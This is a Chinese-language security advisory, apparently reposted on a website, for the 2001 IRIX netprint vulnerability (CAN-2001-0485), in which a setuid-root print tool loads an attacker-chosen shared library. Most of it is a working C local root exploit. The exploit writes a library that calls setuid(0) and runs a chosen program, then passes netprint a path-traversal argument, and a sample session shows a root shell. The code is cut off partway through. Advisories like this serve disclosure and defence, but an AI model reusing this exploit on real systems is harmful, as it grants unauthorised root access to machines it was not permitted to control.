IRIX 'netprint' 打开任意动态链接库漏洞

发布日期：2001-05-02
更新日期：2001-07-26

受影响系统：

SGI IRIX 6.5.12m
SGI IRIX 6.5.12f
SGI IRIX 6.5.11
SGI IRIX 6.5.10
SGI IRIX 6.5.9
SGI IRIX 6.5.8
SGI IRIX 6.5.7
SGI IRIX 6.5.6
SGI IRIX 6.5.5
SGI IRIX 6.5.4
SGI IRIX 6.5.3
SGI IRIX 6.5.2
SGI IRIX 6.5.1
SGI IRIX 6.5
SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3

不受影响系统：

SGI IRIX 6.5.13

描述：

---

BUGTRAQ ID: 2656
CVE CAN ID: CAN-2001-0485

SGI Irix系统携带的netprint工具用于向远程主机提交打印任务，缺省安装后它是
setuid-to-root的。netprint从命令行上接收-n选项指定的网络类型，根据-n后面的
参数串打开相应的动态链接库。但是netprint没有对这个参数串做检查，攻击者可以
提供自己的动态链接库。由于netprint本身是setuid-to-root的，攻击者提供的代码
将以root身份运行。尽管只有lp用户可以执行netprint，但在许多早期版本的Irix中，
lp是无口令的默认帐号。如果lp帐号未被禁用，远程攻击者可以以lp身份登录进入系
统，利用netprint的漏洞获取root权限。

<* 来源：Vade79 (v9@realhalo.org) *>





测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/* (IRIX)netprint[] local root exploit, by: v9[v9@fakehalo.org]. this will
give you uid=0 on IRIX systems. this exploit simply takes advantage of
netprint's -n option to execute arbitrary code and gain elevated
privileges.

example:
----------------------------------------------------------------------------
--
$ cc xnetprint.c -o xnetprint
$ id
uid=9(lp) gid=9(lp)
$ ./xnetprint /bin/sh
[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]
[*] making symbols source file for netprint to execute.
[*] done, now compiling symbols source file.
[*] done, now checking to see if the symbols source compiled.
[*] done, now executing netprint.
[*] success, uid: 0, euid: 0, gid: 0, egid: 0.
# id
uid=0(root) gid=0(sys)
#
----------------------------------------------------------------------------
--

note: built and tested on IRIX 6.2. this often requires the uid of lp
to work correctly. though, should prove effective up to 6.4 or
higher.
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#define PATH "/usr/lib/print/netprint" /* path to exploitable program. */
#define CCPATH "/usr/bin/cc" /* path to compiler. */
#define SRCFILE "/tmp/xnetrpintso.c" /* path to temporary symbols source. */
#define SOFILE "/tmp/xnetprintso.so" /* path to compile as. */
#define FAKESOFILE "../../../../tmp/xnetprintso" /* arg to feed netprint. */
void cleanup(unsigned short i){
if(!access(SRCFILE,F_OK))
unlink(SRCFILE);
if(!access(SOFILE,F_OK))
unlink(SOFILE);
if(i)
exit(i);
}
int main(int argc,char **argv){
char *syscmd;
struct stat mod;
FILE *symbol;
printf("[(IRIX)netprint[] local root exploit, by:
v9[v9@realhalo.org]. ]\n");
if(argc<2){
printf("[!] syntax: %s </path/to/program/to/exec>\n",argv[0]);
cleanup(1);
}
if(stat(PATH,&mod)){
printf("[!] failed, could not get stats on %s.\n",PATH);
cleanup(1);
}
if(mod.st_uid||!(S_ISUID&mod.st_mode)){
printf("[!] failed, %s is not setuid root.\n",PATH);
cleanup(1);
}
if(access(argv[1],X_OK)){
printf("[!] failed, %s doesn't seem to exist or is not executable.\n",
argv[1]);
cleanup(1);
}
if(access(CCPATH,X_OK)){
printf("[!] failed, %s compiler doesn't seem to exist or is not
executable."
"\n",CCPATH);
cleanup(1);
}
printf("[*] making symbols source file for netprint to execute.\n");
cleanup(0);
if(!(symbol=fopen(SRCFILE,"w"))){
printf("[!] failed, could not open temporary file to write to.\n");
cleanup(1);
}
fprintf(symbol,"void OpenConn(){\n");
fprintf(symbol," seteuid(0);\n");
fprintf(symbol," setuid(0);\n");
fprintf(symbol," setegid(0);\n");
fprintf(symbol," setgid(0);\n");
fprintf(symbol," printf(\"\[*] success, uid: %%u, euid: %%u, gid: %%u,
egid: "
"%%u.\\n\",getuid(),geteuid(),getgid(),getegid());\n");
fprintf(symbol," execl(\"%s\",\"%s\",0);\n",argv[1],argv[1]);

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有